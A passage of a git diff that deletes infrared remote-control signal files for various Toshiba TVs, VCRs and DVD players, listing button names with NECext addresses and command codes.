00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 46 00 00 00 -# -name: shift_right -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4D 00 00 00 -# -name: timer_record -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4F 00 00 00 -# -name: shift_left -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 51 00 00 00 -# -name: otr_right -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5B 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5C 00 00 00 -# -name: tape_speed -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5D 00 00 00 -# -name: tv/line -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5F 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 83 00 00 00 -# -name: zero_return -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 87 00 00 00 -# -name: counter_reset -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 96 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: A0 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: A1 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: A2 00 00 00 -# -name: otr_left -type: parsed -protocol: NECext -address: 44 00 00 00 -command: AC 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir deleted file mode 100644 index 2f46efc2e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir deleted file mode 100644 index 5c9532941..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 89 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 8A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 8B 00 00 00 -# -name: antenna -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 8E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 92 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 94 00 00 00 -# -name: surf -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 95 00 00 00 -# -name: dss -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 9A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 9B 00 00 00 -# -name: alternate -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 9C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 9F 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: C0 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: C8 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: C9 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: CA 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: CB 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: CC 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: D1 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: D4 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: D7 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir deleted file mode 100644 index 6045a53d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PauseStep -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: SkipForward -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2B 00 00 00 -# -name: RepeatA-B -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2C 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 40 00 00 00 -# -name: FlDim -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 41 00 00 00 -# -name: EAM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 43 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: FlSelect -type: parsed -protocol: NECext -address: 45 00 00 00 -command: D7 00 00 00 -# -name: TopMenu -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: EPM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EE 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir deleted file mode 100644 index 64090e046..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: pause/step -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: slow.fwd -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: slow.rev -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: skip.rev -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: skip.fwd -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2B 00 00 00 -# -name: a-b.rpt -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2C 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 40 00 00 00 -# -name: fl.dim -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 41 00 00 00 -# -name: e.a.m. -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 43 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: topmenu -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: marker -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EC 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir deleted file mode 100644 index d3bbc7bb5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: TRACKING+ -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0E 00 00 00 -# -name: TRACKING- -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0F 00 00 00 -# -name: TV/VIDEO_REMOTE_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: TV/VCR_EXTRA -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: REMAIN/COUNTER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 16 00 00 00 -# -name: TV/CATV -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 17 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 46 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4D 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 51 00 00 00 -# -name: AUDIO_SELECT -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 53 00 00 00 -# -name: OTR_OFF -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5C 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5D 00 00 00 -# -name: TV/LINE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 83 00 00 00 -# -name: ZERO_RETURN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 87 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 96 00 00 00 -# -name: OTR_ON -type: parsed -protocol: NECext -address: 44 00 00 00 -command: AC 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir deleted file mode 100644 index eadbd3f9c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: Pause/Still -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: x2> -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4F 00 00 00 -# -name: TV_Still -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 50 00 00 00 -# -name: OTR -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir deleted file mode 100644 index 21a849f2f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: Slow_1/6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: Slow_Tracking_Up -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0E 00 00 00 -# -name: Slow_Tracking_Down -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: Remain/Count -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: Slow_1/12 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 46 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4F 00 00 00 -# -name: Otr -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir deleted file mode 100644 index f6ad74a80..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 44 